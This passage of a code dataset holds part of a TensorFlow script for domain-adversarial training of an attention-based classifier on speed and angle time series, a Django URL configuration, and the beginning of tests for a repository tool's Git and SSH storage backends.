dataReader:\n                csv_data.append(line)\n            flin.close()\n            Xs.append(csv_data[1:][:])\n            Xs_filename.append(dataset_dir_list[dataset_dir_num]+\"/\"+train_data_list[one_file_num])\n            ys.append(dataset_dir_num)\n\n        for one_file_num in range(len(test_data_list)):\n            flin = open(dataset_dir_list[dataset_dir_num]+\"/\"+test_data_list[one_file_num],\"r\")\n            dataReader = csv.reader(flin)\n            csv_data = []\n            for line in dataReader:\n                csv_data.append(line)\n            flin.close()\n            Xs_T.append(csv_data[1:][:])\n            Xs_T_filename.append(dataset_dir_list[dataset_dir_num]+\"/\"+test_data_list[one_file_num])\n            ys_T.append(dataset_dir_num)\n\n    Xs = np.array(Xs).astype(\"float32\")\n    Xs_filename = np.array(Xs_filename)\n    ys = np.array(ys)\n\n    Xs_T = np.array(Xs_T).astype(\"float32\")\n    Xs_T_filename = np.array(Xs_T_filename)\n    ys_T = np.array(ys_T)\n\n    return Xs,ys,Xs_T,ys_T,Xs_filename,Xs_T_filename\n\ndef build_model():\n    X = tf.placeholder(tf.float32, [None,time_steps,input_row], name='X') # Input data\n    Y_ind = tf.placeholder(tf.int32, [None], name='Y_ind')  # Class index\n    D_ind = tf.placeholder(tf.int32, [None], name='D_ind')  # Domain index\n    l = tf.placeholder(tf.float32, [], name='l')        # Gradient reversal scaler\n    train_aria = tf.placeholder(tf.string, [], name='train_aria')    #alltrain or only domainclassifier train\n    keep_prob = tf.placeholder(tf.float32, name='keep_prob')##dropout\n\n    Y = tf.one_hot(Y_ind, 2)\n    D = tf.one_hot(D_ind, 2)\n\n    ###split input into speed and angle\n    X_angle = X[:,:,:1]\n    X_speed = X[:,:,1:]\n\n    ###Feature extractor\n    filter_height_one = 10\n    filter_height_two = 40\n\n    ##angle process\n    X_angle = tf.reshape(X_angle,(-1,time_steps,1,1))\n    #for attention\n    W_conv1a = weight_variable([filter_height_one,1, 1,5])\n    b_conv1a = bias_variable([5])\n    W_conv1a_out = tf.nn.relu(tf.nn.conv2d(X_angle, W_conv1a, strides=[1,1,1,1], padding='SAME') + b_conv1a)\n    W_conv1a_out = tf.nn.dropout(W_conv1a_out, keep_prob)\n    W_conv2a = weight_variable([filter_height_two,1, 5,4])\n    b_conv2a = bias_variable([4])\n    W_conv2a_out = tf.nn.relu(tf.nn.conv2d(W_conv1a_out, W_conv2a, strides=[1,1,1,1], padding='SAME') + b_conv2a)\n    W_conv2a_out = tf.nn.dropout(W_conv2a_out, keep_prob)\n    encorder_output_angle_at = tf.reshape(W_conv2a_out,(-1,time_steps,4))##definition\n    _buf = tf.add(encorder_output_angle_at,0,name=\"encorder_output_angle_at\")\n\n    #for feature extract\n    W_conv3a = weight_variable([filter_height_one,1, 1,5])\n    b_conv3a = bias_variable([5])\n    W_conv3a_out = tf.nn.relu(tf.nn.conv2d(X_angle, W_conv3a, strides=[1,1,1,1], padding='SAME') + b_conv3a)\n    W_conv3a_out = tf.nn.dropout(W_conv3a_out, keep_prob)\n    W_conv4a = weight_variable([filter_height_two,1, 5,4])\n    b_conv4a = bias_variable([4])\n    W_conv4a_out = tf.nn.relu(tf.nn.conv2d(W_conv3a_out, W_conv4a, strides=[1,1,1,1], padding='SAME') + b_conv4a)\n    W_conv4a_out = tf.nn.dropout(W_conv4a_out, keep_prob)\n    encorder_output_angle_ft = tf.reshape(W_conv4a_out,(-1,time_steps,4))##definition\n    _buf = tf.add(encorder_output_angle_ft,0,name=\"encorder_output_angle_ft\")\n\n    ##attention!!!\n    #attention variables\n    W_att1a = weight_variable([4, 3])\n    W_att2a = weight_variable([3, 1])\n\n    attented_weights_angle = tf.scan(lambda a,b: tf.nn.tanh(tf.matmul(b,W_att1a)) ,encorder_output_angle_at,initializer=tf.constant(0.0, shape=[time_steps, 3]))\n    attented_weights_angle_presoftmax = tf.scan(lambda a,b: tf.matmul(b,W_att2a) ,attented_weights_angle,initializer=tf.constant(0.0, shape=[time_steps, 1]))\n    attented_weights_angle = tf.scan(lambda a,b: tf.nn.softmax(b,axis=0) ,attented_weights_angle_presoftmax,initializer=tf.constant(0.0, shape=[time_steps, 1]))\n\n    attented_weights_angle_t = tf.reshape(attented_weights_angle,(-1,1,time_steps))\n    _buf = tf.add(attented_weights_angle,0,name=\"attented_weights_angle\")\n\n    attented_sum_angle = tf.matmul(attented_weights_angle_t,encorder_output_angle_ft)\n\n    attention_output_angle = tf.reshape(attented_sum_angle,(-1,4))\n    attention_output_angle = tf.nn.relu(attention_output_angle)\n    #attention_output = tf.nn.dropout(attention_output, keep_prob)\n\n    ##speed process\n    with tf.name_scope('atfeautre_ectractor'):\n        #for attention\n        X_speed = tf.reshape(X_speed,(-1,time_steps,1,1))\n        W_conv1s = weight_variable([filter_height_one,1, 1,ft_ex1])\n        b_conv1s = bias_variable([ft_ex1])\n        W_conv1s_out = tf.nn.relu(tf.nn.conv2d(X_speed, W_conv1s, strides=[1,1,1,1], padding='SAME') + b_conv1s)\n        W_conv1s_out = tf.nn.dropout(W_conv1s_out, keep_prob)\n        W_conv2s = weight_variable([filter_height_two,1, ft_ex1,ft_ex2])\n        b_conv2s = bias_variable([ft_ex2])\n        W_conv2s_out = tf.nn.relu(tf.nn.conv2d(W_conv1s_out, W_conv2s, strides=[1,1,1,1], padding='SAME') + b_conv2s)\n        W_conv2s_out = tf.nn.dropout(W_conv2s_out, keep_prob)\n        encorder_output_speed_at = tf.reshape(W_conv2s_out,(-1,time_steps,ft_ex2))##definition\n    _buf = tf.add(encorder_output_speed_at,0,name=\"encorder_output_speed_at\")\n\n    with tf.name_scope('clfeature_ectractor'):\n        #for feature extract\n        W_conv3s = weight_variable([filter_height_one,1, 1,ft_ex1])\n        b_conv3s = bias_variable([ft_ex1])\n        W_conv3s_out = tf.nn.relu(tf.nn.conv2d(X_speed, W_conv3s, strides=[1,1,1,1], padding='SAME') + b_conv3s)\n        W_conv3s_out = tf.nn.dropout(W_conv3s_out, keep_prob)\n        W_conv4s = weight_variable([filter_height_two,1, ft_ex1,ft_ex2])\n        b_conv4s = bias_variable([ft_ex2])\n        W_conv4s_out = tf.nn.relu(tf.nn.conv2d(W_conv3s_out, W_conv4s, strides=[1,1,1,1], padding='SAME') + b_conv4s)\n        W_conv4s_out = tf.nn.dropout(W_conv4s_out, keep_prob)\n        encorder_output_speed_ft = tf.reshape(W_conv4s_out,(-1,time_steps,ft_ex2))##definition\n    _buf = tf.add(encorder_output_speed_ft,0,name=\"encorder_output_speed_ft\")\n\n    ##attention!!!\n    #attention variables\n    W_att1s = weight_variable([ft_ex2, atv])\n    W_att2s = weight_variable([atv, 1])\n\n    attented_weights_speed = tf.scan(lambda a,b: tf.nn.tanh(tf.matmul(b,W_att1s)) ,encorder_output_speed_at,initializer=tf.constant(0.0, shape=[time_steps, atv]))\n    attented_weights_speed_presoftmax = tf.scan(lambda a,b: tf.matmul(b,W_att2s) ,attented_weights_speed,initializer=tf.constant(0.0, shape=[time_steps, 1]))\n    attented_weights_speed = tf.scan(lambda a,b: tf.nn.softmax(b,axis=0) ,attented_weights_speed_presoftmax,initializer=tf.constant(0.0, shape=[time_steps, 1]))\n\n    attented_weights_speed_t = tf.reshape(attented_weights_speed,(-1,1,time_steps))\n    _buf = tf.add(attented_weights_speed,0,name=\"attented_weights_speed\")\n\n    attented_sum_speed = tf.matmul(attented_weights_speed_t,encorder_output_speed_ft)\n\n    attention_output_speed = tf.reshape(attented_sum_speed,(-1,ft_ex2))\n    attention_output_speed = tf.nn.relu(attention_output_speed)\n\n    ##stack feature vector\n    #attention_output = tf.reshape(tf.stack([attention_output_angle,attention_output_speed],1),[-1,4*2])\n    attention_output = attention_output_speed\n\n    ##decorder\n    W11 = weight_variable([ft_ex2, dcv])\n    b11 = bias_variable([dcv])\n    f_logit = tf.matmul(attention_output, W11) + b11\n    feature_vector = tf.nn.relu(f_logit)\n    feature_vector = tf.nn.dropout(feature_vector, keep_prob)\n\n    W1 = weight_variable([dcv, 2])\n    b1 = bias_variable([2])\n    p_logit = tf.matmul(feature_vector, W1) + b1\n    p = tf.nn.softmax(p_logit)\n    not_used_buf = tf.add(p, 0, name=\"class_predict_vector\")\n\n    p_loss = tf.nn.softmax_cross_entropy_with_logits(logits=p_logit, labels=Y)\n\n    ###Domain predictor\n    encorder_output_speed_at_flip = flip_gradient(encorder_output_speed_at, l)\n    attention_output_flip = flip_gradient(attention_output, l)\n\n\n    with tf.name_scope('domain_classifier'):\n\n        #encorder_output_angle_flip_rs = tf.reshape(encorder_output_angle_flip,(-1,time_steps*4))\n        #encorder_output_speed_flip_rs = tf.reshape(encorder_output_speed_flip,(-1,time_steps*4))\n\n        ##decorder\n        ##準備D##\n        D_timesteps = tf.scan(lambda a,b: tf.scan(lambda at,bt: b, tf.constant([[0]]*time_steps),initializer=tf.constant(0.0,shape=[2])), D, initializer=tf.constant(0.0, shape=[time_steps,2]))\n\n        #attention feature\n\n        W_att1at_d = weight_variable([ft_ex2, 3])\n        W_att2at_d = weight_variable([3, 2])\n\n        attented_weights_speed_atD = tf.scan(lambda a,b: tf.nn.tanh(tf.matmul(b,W_att1at_d)) ,encorder_output_speed_at_flip,initializer=tf.constant(0.0, shape=[time_steps, 3]))\n        attented_weights_speed_atD = tf.scan(lambda a,b: tf.nn.softmax(tf.matmul(b,W_att2at_d),axis=1) ,attented_weights_speed_atD,initializer=tf.constant(0.0, shape=[time_steps, 2]))\n        d_loss_at_speed = tf.reduce_mean(tf.square(D_timesteps-attented_weights_speed_atD))\n\n        #domain classifier\n        W_att1_d = weight_variable([ft_ex2, 3])\n        W_att2_d = weight_variable([3, 2])\n\n        attention_output_flip_d = tf.nn.tanh(tf.matmul(attention_output_flip,W_att1_d))\n        attention_output_flip_d = tf.nn.softmax(tf.matmul(attention_output_flip_d,W_att2_d),axis=1)\n        d_loss_xmean = tf.reduce_mean(tf.square(D-attention_output_flip_d))\n\n    # Optimization\n    pred_loss = tf.reduce_sum(p_loss, name='pred_loss')\n    domain_loss_atspeed = tf.reduce_sum(tf.multiply(d_loss_at_speed,1), name='domain_loss_atspeed')\n    domain_loss_xmean = tf.reduce_sum(tf.multiply(d_loss_xmean,1), name='domain_loss_xmean')\n    domain_loss = tf.add(domain_loss_atspeed, domain_loss_xmean, name='domain_loss')\n    #total_loss = tf.add(pred_loss, domain_loss, name='total_loss')\n\n    #for dann_train_op\n    pred_train_op = tf.train.AdamOptimizer().minimize(pred_loss, name='pred_train_op')\n    pred_at_train_op = tf.train.AdamOptimizer().minimize(tf.add(pred_loss,tf.multiply(domain_loss_atspeed,dloss_ats_x)), name='pred_at_train_op')\n    #domain_train_op = tf.train.AdamOptimizer().minimize(domain_loss, name='domain_train_op')\n    #dann_train_op = tf.train.AdamOptimizer().minimize(total_loss, name='dann_train_op')\n\n    #for domain_only_train_op\n    domain_train_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"domain_classifier\")\n    domain_only_train_op_atspeed = tf.train.AdamOptimizer().minimize(domain_loss_atspeed, name='domain_only_train_op_atspeed',var_list=domain_train_vars)\n    domain_only_train_op_xmean = tf.train.AdamOptimizer().minimize(domain_loss_xmean, name='domain_only_train_op_xmean',var_list=domain_train_vars)\n    domain_only_train_op = tf.train.AdamOptimizer().minimize(domain_loss, name='domain_only_train_op',var_list=domain_train_vars)\n\n    #for clfeature_domain_lp_op\n    atfeature_domain_lp_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"atfeautre_ectractor\")\n    atfeature_domain_lp_op = tf.train.AdamOptimizer().minimize(domain_loss_atspeed, name='atfeature_domain_lp_op',var_list=(atfeature_domain_lp_vars+domain_train_vars))\n    clfeature_domain_lp_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"clfeature_ectractor\")\n    clfeature_domain_lp_op = tf.train.AdamOptimizer().minimize(domain_loss_xmean, name='clfeature_domain_lp_op',var_list=(clfeature_domain_lp_vars+domain_train_vars))\n\n    # Evaluation\n    p_acc = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(Y, 1), tf.argmax(p, 1)), tf.float32), name='p_acc')\n    d_xm_acc = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(D, 1), tf.argmax(attention_output_flip_d, 1)), tf.float32), name='d_xm_acc')##\n    d_at_acc = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(tf.reshape(D_timesteps,(-1,2)), 1), tf.argmax(tf.reshape(attented_weights_speed_atD,(-1,2)), 1)), tf.float32), name='d_at_acc')##\n    _buf = tf.add(tf.cast(tf.equal(tf.argmax(Y, 1), tf.argmax(p, 1)), tf.int32),0,name='eval_acc')\n\n    ###weights_variables###\n    lstm_variables_list = []\n    weights_variables_list = [W_conv1a,W_conv2a,W_conv3a,W_conv4a,W_att1a,W_att2a,W_conv1s,W_conv2s,W_conv3s,W_conv4s,W_att1s,W_att2s,W11,W1]\n    baias_variables_list = [b_conv1a,b_conv2a,b_conv3a,b_conv4a,b_conv1s,b_conv2s,b_conv3s,b_conv4s,b11,b1]\n    all_variables_list = [lstm_variables_list,weights_variables_list,baias_variables_list]\n\n\n    ##tensorboard\n    tf.summary.histogram('W11_weights(feature)', W11)\n    tf.summary.histogram('b11_weights(feature)', b11)\n    tf.summary.histogram('W1_weights(classpre)', W1)\n    tf.summary.histogram('b1_weights(classpre)', b1)\n    tf.summary.histogram('W_conv1a_weights(conv)', W_conv1a)\n    tf.summary.histogram('W_conv2a_weights(conv)', W_conv2a)\n    tf.summary.histogram('W_conv1s_weights(conv)', W_conv1s)\n    tf.summary.histogram('W_conv2s_weights(conv)', W_conv2s)\n    summary = tf.summary.merge_all()\n\n    return summary, all_variables_list\n\ndef train_and_evaluate(sess,sess_tag,summary,model_save_param,grad_scale=None, num_batches=None,input_data=None,filenames=None,domain_name_list=None):\n\n    #input dataset\n    [X_a,y_a,X_aT, y_aT,X_b,y_b,X_bT, y_bT] = input_data\n    [X_filename,XT_filename] = filenames\n\n    # Create batch builders\n    A_batches = batch_generator([X_a, y_a], batch_size // 2)\n    B_batches = batch_generator([X_b, y_b], batch_size // 2)\n\n    # Get output tensors and train op\n    d_at_acc = sess.graph.get_tensor_by_name('d_at_acc:0')\n    d_xm_acc = sess.graph.get_tensor_by_name('d_xm_acc:0')\n    p_acc = sess.graph.get_tensor_by_name('p_acc:0')\n    eval_acc = sess.graph.get_tensor_by_name('eval_acc:0')\n    domain_loss = sess.graph.get_tensor_by_name('domain_loss:0')\n    domain_loss_atspeed = sess.graph.get_tensor_by_name('domain_loss_atspeed:0')\n    domain_loss_xmean = sess.graph.get_tensor_by_name('domain_loss_xmean:0')\n    pred_loss = sess.graph.get_tensor_by_name('pred_loss:0')\n\n    saver = tf.train.Saver(max_to_keep=1000)###for model save\n\n    sess.run(tf.global_variables_initializer())##\n    output_filename = datetime.now().strftime('%Y%m%d%H%M%S')+\"(\"+sess_tag+\")\"\n    ##output modeldata\n    if os.path.exists(\"model/\"+output_filename)==False:\n        os.mkdir(\"model/\"+output_filename)\n    shutil.copyfile(os.path.basename(__file__),\"model/\"+output_filename+\"/\"+os.path.basename(__file__)+\".modelsave\")\n    if os.path.exists(\"model_code/\"+output_filename)==False:\n        os.mkdir(\"model_code/\"+output_filename)\n    shutil.copyfile(os.path.basename(__file__),\"model_code/\"+output_filename+\"/\"+os.path.basename(__file__))\n\n    ##tensorboard\n    tf_writer = tf.summary.FileWriter(\"tensorboard/\"+output_filename, sess.graph)\n    print(\"Use this code for tensorboard: tensorboard --logdir='./tensorboard/\"+output_filename+\"'\")\n\n    ##prepare for csv\n    flout  = open(\"accuracy/\"+output_filename+\".csv\",\"w\")\n    writer = csv.writer(flout,lineterminator=\"\\n\")\n    writer.writerows([[\"train_num\",\"lp\",domain_name_list[0]+\":Dacc(at)\",domain_name_list[0]+\":Dacc(xm)\",domain_name_list[0]+\":Cacc\",domain_name_list[1]+\":Dacc(at)\",domain_name_list[1]+\":Dacc(xm)\",domain_name_list[1]+\":Cacc\",domain_name_list[0]+\":DaccT(at)\",domain_name_list[0]+\":DaccT(xm)\",domain_name_list[0]+\":CaccT\",domain_name_list[1]+\":DaccT(at)\",domain_name_list[1]+\":DaccT(xm)\",domain_name_list[1]+\":CaccT\",\"Dacc(at)\",\"Dacc(xm)\",\"DaccT(at)\",\"DaccT(xm)\"]])\n    flout.close()\n\n    flout  = open(\"error_collection/\"+output_filename+\"_train.csv\",\"w\")\n    writer = csv.writer(flout,lineterminator=\"\\n\")\n    writer.writerows(np.array([X_filename]).T)\n    flout.close()\n\n    flout  = open(\"error_collection/\"+output_filename+\"_test.csv\",\"w\")\n    writer = csv.writer(flout,lineterminator=\"\\n\")\n    writer.writerows(np.array([XT_filename]).T)\n    flout.close()\n\n    for i in range(num_batches):\n\n        # If no grad_scale, use a schedule\n        if grad_scale is None:\n            p = float(i) / num_batches\n            lp = 2. / (1. + 1.4**(-10. * p)) - 1\n        elif 0<grad_scale:\n            if float(i)<=(num_batches/10):\n                lp = 0\n            elif (num_batches/10)<=float(i) and float(i)<=(num_batches/1.2):\n                p = float(i-num_batches/10) / (num_batches/1.2-num_batches/10)\n                lp = (grad_scale+1.) / (1.+grad_scale*(1.4**(-10. * p)) ) - 1.\n            else:\n                lp = grad_scale\n        else:\n            lp = grad_scale\n\n        X0, y0 = next(A_batches)\n        X1, y1 = next(B_batches)\n        Xbatch = np.vstack([X0, X1])\n        ybatch = np.hstack([y0, y1])\n        D_labels = np.hstack([np.zeros(batch_size // 2, dtype=np.int32),\n                              np.ones(batch_size // 2, dtype=np.int32)])\n\n        ##学習率やプロセスはここで設定\n        if 0<=i%18 and i%18<8:\n            train_optimizer = \"pred_at_train_op\"\n            _, pa,w_summary = sess.run([train_optimizer, p_acc,summary],\n                               feed_dict={'X:0': Xbatch, 'Y_ind:0': ybatch, 'D_ind:0': D_labels,'l:0': 0, 'keep_prob:0':0.5})##False->True\n        elif 8<=i%18 and i%18<16:\n            train_optimizer = \"domain_only_train_op_xmean\"\n            _, pa,w_summary = sess.run([train_optimizer, p_acc,summary],\n                               feed_dict={'X:0': Xbatch, 'Y_ind:0': ybatch, 'D_ind:0': D_labels,'l:0': lp, 'keep_prob:0':0.5})##False->True\n        else:\n            train_optimizer = \"clfeature_domain_lp_op\"\n            _, pa,w_summary = sess.run([train_optimizer, p_acc,summary],\n                    feed_dict={'X:0': Xbatch, 'Y_ind:0': ybatch, 'D_ind:0': D_labels,'l:0' : lp/2.0,'keep_prob:0':0.5})##False->True#ここ書き換えてます！！！\n        ##\n\n        if i%50==0:\n            tf_writer.add_summary(w_summary, i)##tensorboard\n\n            dloss_atA,dloss_xmA,plossA,d_at_acc_A,d_xm_acc_A, pa_A,train_evalA = sess.run([domain_loss_atspeed,domain_loss_xmean,pred_loss,d_at_acc,d_xm_acc, p_acc,eval_acc], feed_dict={'X:0': X_a, 'Y_ind:0': y_a,\n                        'D_ind:0': np.zeros(X_a.shape[0], dtype=np.int32), 'l:0': 1.0, 'keep_prob:0':1.0})\n            dloss_atB,dloss_xmB,plossB,d_at_acc_B,d_xm_acc_B, pa_B,train_evalB = sess.run([domain_loss_atspeed,domain_loss_xmean,pred_loss,d_at_acc,d_xm_acc, p_acc,eval_acc], feed_dict={'X:0': X_b, 'Y_ind:0': y_b,\n                        'D_ind:0': np.ones(X_b.shape[0], dtype=np.int32), 'l:0': 1.0, 'keep_prob:0':1.0})\n\n            print(\"lp:\"+str(lp))\n            print(\"**Train_acc(\"+str(i)+\")**\")\n            print(\"Adomain(at):\"+str(d_at_acc_A)+\"/Adomain(xm):\"+str(d_xm_acc_A)+\"/Aclass:\"+str(pa_A)+\"/ Bdomain(at):\"+str(d_at_acc_B)+\"/Bdomain(xm):\"+str(d_xm_acc_B)+\"/Bclass:\"+str(pa_B)+\"/dloss(at):\"+str(np.mean([dloss_atA,dloss_atB]))+\"/dloss(xm):\"+str(np.mean([dloss_xmA,dloss_xmB]))+\"/ploss:\"+str(np.mean([plossA,plossB])))\n\n            dloss_atAT,dloss_xmAT,plossAT,d_at_acc_AT,d_xm_acc_AT, pa_AT,test_evalA = sess.run([domain_loss_atspeed,domain_loss_xmean,pred_loss,d_at_acc,d_xm_acc, p_acc,eval_acc], feed_dict={'X:0': X_aT, 'Y_ind:0': y_aT,\n                        'D_ind:0': np.zeros(X_aT.shape[0], dtype=np.int32), 'l:0': 1.0, 'keep_prob:0':1.0})\n            dloss_atBT,dloss_xmBT,plossBT,d_at_acc_BT,d_xm_acc_BT, pa_BT,test_evalB = sess.run([domain_loss_atspeed,domain_loss_xmean,pred_loss,d_at_acc,d_xm_acc, p_acc,eval_acc], feed_dict={'X:0': X_bT, 'Y_ind:0': y_bT,\n                        'D_ind:0': np.ones(X_bT.shape[0], dtype=np.int32), 'l:0': 1.0, 'keep_prob:0':1.0})\n\n            print(\"**Test_acc(\"+str(i)+\")**\")\n            print(\"Adomain(at):\"+str(d_at_acc_AT)+\"/Adomain(xm):\"+str(d_xm_acc_AT)+\"/Aclass:\"+str(pa_AT)+\"/ Bdomain(at):\"+str(d_at_acc_BT)+\"/Bdomain(xm):\"+str(d_xm_acc_BT)+\"/Bclass:\"+str(pa_BT)+\"/dloss(at):\"+str(np.mean([dloss_atAT,dloss_atBT]))+\"/dloss(xm):\"+str(np.mean([dloss_xmAT,dloss_xmBT]))+\"/ploss:\"+str(np.mean([plossAT,plossBT])))\n\n            ###result output!!!###\n            #csv yomikomi\n            flin=open(\"accuracy/\"+output_filename+\".csv\",\"r\")\n            dataReader = csv.reader(flin)\n            csv_data = []\n            for line in dataReader:\n                csv_data.append(line)\n            flin.close()\n            csv_data.append([i,lp,d_at_acc_A,d_xm_acc_A,pa_A,d_at_acc_B,d_xm_acc_B,pa_B,d_at_acc_AT,d_xm_acc_AT,pa_AT,d_at_acc_BT,d_xm_acc_BT,pa_BT,np.mean([d_at_acc_A,d_at_acc_B]),np.mean([d_xm_acc_A,d_xm_acc_B]),np.mean([d_at_acc_AT,d_at_acc_BT]),np.mean([d_xm_acc_AT,d_xm_acc_BT])])\n            #csv kakikomi\n            flout  = open(\"accuracy/\"+output_filename+\".csv\",\"w\")\n            writer = csv.writer(flout,lineterminator=\"\\n\")\n            writer.writerows(csv_data)\n            flout.close()\n\n            ##train error_collection\n            csv_data = ikeda_lib.read_csv(\"error_collection/\"+output_filename+\"_train.csv\")\n            csv_data = np.hstack((csv_data,np.array([np.hstack((train_evalA,train_evalB))]).T))\n            ikeda_lib.write_csv(\"error_collection/\"+output_filename+\"_train.csv\",csv_data)\n\n            ##train error_collection\n            csv_data = ikeda_lib.read_csv(\"error_collection/\"+output_filename+\"_test.csv\")\n            csv_data = np.hstack((csv_data,np.array([np.hstack((test_evalA,test_evalB))]).T))\n            ikeda_lib.write_csv(\"error_collection/\"+output_filename+\"_test.csv\",csv_data)\n\n            ##model save\n            if i>=0:\n                if i % (50*model_save_param) == 0:\n                    saver.save(sess, \"model/\"+output_filename+\"/step\", global_step=i)\n\ndef main_fnc(train_num,grad_scale_para,dataset_dir_name,dA_cA,dA_cB,dB_cA,dB_cB,dA_name,dB_name):\n\n    print(\"Please name this session:\") # print(\"タグ名:\")\n    sess_tag = input()\n\n    \"\"\"print(\"同条件での学習回数:\")\n    train_num = int(input())\n\n    print(\"最大勾配反転率(0~1):\")\n    grad_scale_para = int(input())\"\"\"\n\n    print(\"# training epochs (e.g., 30000):\") #print(\"学習epoch数:\")\n    train_batch_num = int(input())\n\n    print(\"Store model params (each 50*n epoch; e.g., 40):\") #print(\"モデルの保存(50*n epochごと):\")\n    model_save_param = int(input())\n\n    \n    os.makedirs('./model', exist_ok=True)\n    os.makedirs('./accuracy', exist_ok=True)\n    os.makedirs('./model_code', exist_ok=True)\n    os.makedirs('./tensorboard', exist_ok=True)\n    os.makedirs('./error_collection', exist_ok=True)\n    os.makedirs('./analysis_set', exist_ok=True)\n\n\n    \"\"\"print(\"domainA/classA:\")\n    dA_cA = input()\n    print(\"domainA/classB:\")\n    dA_cB = input()\n    print(\"domainB/classA:\")\n    dB_cA = input()\n    print(\"domainB/classB:\")\n    dB_cB = input()\n\n    print(\"domainA_name:\")\n    dA_name = input()\n    print(\"domainB_name:\")\n    dB_name = input()\"\"\"\n\n    \"\"\"print(\"dataset_dir_name:\")\n    dataset_dir_name = input()\"\"\"\n\n    ##domainA\n    X_a,y_a,X_aT, y_aT,X_a_filename,X_aT_filename = get_train_and_test_datas([dataset_dir_name+\"/\"+dA_cA,dataset_dir_name+\"/\"+dA_cB],0.2)#テストに用いるデータは２割\n    ##domainB\n    X_b,y_b,X_bT, y_bT,X_b_filename,X_bT_filename = get_train_and_test_datas([dataset_dir_name+\"/\"+dB_cA,dataset_dir_name+\"/\"+dB_cB],0.2)\n\n    tf.reset_default_graph()\n    summary,_ = build_model()\n    sess = tf.InteractiveSession()\n\n    for session_num in range(train_num):\n        print(\"session_num:\"+str(session_num))\n        sess_tag_name = sess_tag+\"_sessnum\"+str(session_num)\n\n        train_and_evaluate(sess,sess_tag_name,summary,model_save_param,grad_scale=grad_scale_para, num_batches=train_batch_num,input_data=[X_a,y_a,X_aT, y_aT,X_b,y_b,X_bT, y_bT],filenames=[np.hstack((X_a_filename,X_b_filename)),np.hstack((X_aT_filename,X_bT_filename))],domain_name_list=[dA_name,dB_name])\n\n    return\n\n\n\nif __name__ == '__main__':\n\n    ###get params from commandline###\n    args = sys.argv\n    if len(args)!=10:\n        print(\"Usage:twodomain_train.py 'train_num' 'grad_scale_para' 'dataset_dir_name' 'dA_name' 'dA_cA' 'dA_cB' 'dB_name' 'dB_cA' 'dB_cB'\")\n        sys.exit()\n    train_num = int(args[1])\n    grad_scale_para = float(args[2])\n    dataset_dir_name = args[3]\n    dA_name = args[4]\n    dA_cA = args[5]\n    dA_cB = args[6]\n    dB_name = args[7]\n    dB_cA = args[8]\n    dB_cB = args[9]\n    ######\n\n    main_fnc(train_num,grad_scale_para,dataset_dir_name,dA_cA,dA_cB,dB_cA,dB_cB,dA_name,dB_name)\n","repo_name":"t-m-comp/cross_sp","sub_path":"twodomain_train.py","file_name":"twodomain_train.py","file_ext":"py","file_size_in_byte":25515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"10252390407","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom views import HomeView, DemoView\n\n\nurlpatterns = patterns('',\n    # Examples:\n    # url(r'^$', 'hammer.views.home', name='home'),\n    # url(r'^blog/', include('blog.urls')),\n    url(r'^demo$', DemoView.as_view(), name='demo'),\n    url(r'^hammer/', include('hammerdemo.urls')),\n    url(r'^admin/', include(admin.site.urls)),\n    url(r'^$', HomeView.as_view(), name='home'),\n\n)\n\nurlpatterns += (url(r'^$', include('angular.urls')),)","repo_name":"hodgesds/django-hammer","sub_path":"hammer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26036595023","text":"from unittest.mock import patch\n\nimport os\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.test import TestCase, override_settings\n\nfrom repomaker.models import Repository, S3Storage, GitStorage, SshStorage\nfrom repomaker.models.storage import StorageManager\nfrom repomaker.storage import REPO_DIR, PrivateStorage\nfrom .. import RmTestCase\n\n\nclass GitStorageTestCase(RmTestCase):\n\n    def setUp(self):\n        super().setUp()\n        self.storage = GitStorage.objects.create(repo=self.repo,\n                                                 host=\"example.org\",\n                                                 path=\"user/repo\",\n                                                 url=\"https://raw.example.org/user/repo\")\n\n    def test_remote_url(self):\n        self.assertEqual(\"git@example.org:user/repo.git\", self.storage.get_remote_url())\n\n    def test_create_identity_file(self):\n        storage = self.storage\n\n        # re-declare file storage, so the settings override takes effect\n        storage.identity_file.storage = PrivateStorage()\n\n        # assert that there is no public and private key\n        self.assertIsNone(storage.public_key)\n        self.assertFalse(storage.identity_file)\n\n        # create the key pair\n        storage.create_identity_file()\n\n        # assert that there now is a public and private key\n        self.assertTrue(len(storage.public_key) > 700)\n        self.assertTrue(storage.identity_file)\n        path = os.path.join(settings.PRIVATE_REPO_ROOT, storage.identity_file.name)\n        self.assertTrue(os.path.isfile(path))\n\n    def test_create_identity_file_does_not_run_twice(self):\n        storage = self.storage\n\n        # re-declare file storage, so the settings override takes effect\n        storage.identity_file.storage = PrivateStorage()\n\n        # create the key pair\n        storage.create_identity_file()\n\n        # assert that there now is a public and private key\n        public_key = storage.public_key\n        identity_file = storage.identity_file.name\n\n        # create a key pair again\n        storage.create_identity_file()\n\n        # assert that nothing has changed\n        self.assertEqual(public_key, storage.public_key)\n        self.assertEqual(identity_file, storage.identity_file.name)\n\n    @patch('clint.textui.progress.Bar')\n    @patch('git.remote.Remote.push')\n    def test_publish(self, push, bar):\n        # create an empty fake repo\n        os.chdir(settings.MEDIA_ROOT)\n        os.mkdir(REPO_DIR)\n\n        # publish to git remote storage\n        self.storage.publish()\n\n        # assert that git mirror directory exist and that the repo was pushed\n        self.assertTrue(os.path.isdir(os.path.join(settings.MEDIA_ROOT, 'git-mirror')))\n        self.assertTrue(push.called)\n        bar.called = None  # we don't care a about the progress bar, but have to use it\n\n\nclass StorageManagerTestCase(TestCase):\n\n    def setUp(self):\n        # create repo and three remote storage locations\n        self.repo = Repository.objects.create(user=User.objects.create(username='user2'),\n                                              fingerprint='fake_fingerprint')\n        S3Storage.objects.create(repo=self.repo, bucket='s3_bucket')\n        SshStorage.objects.create(repo=self.repo, url='ssh_url', disabled=False)\n        GitStorage.objects.create(repo=self.repo, url='git_url')\n\n    def test_storage_models_exist(self):\n        # assert that the StorageManager returns at least 3 storage models\n        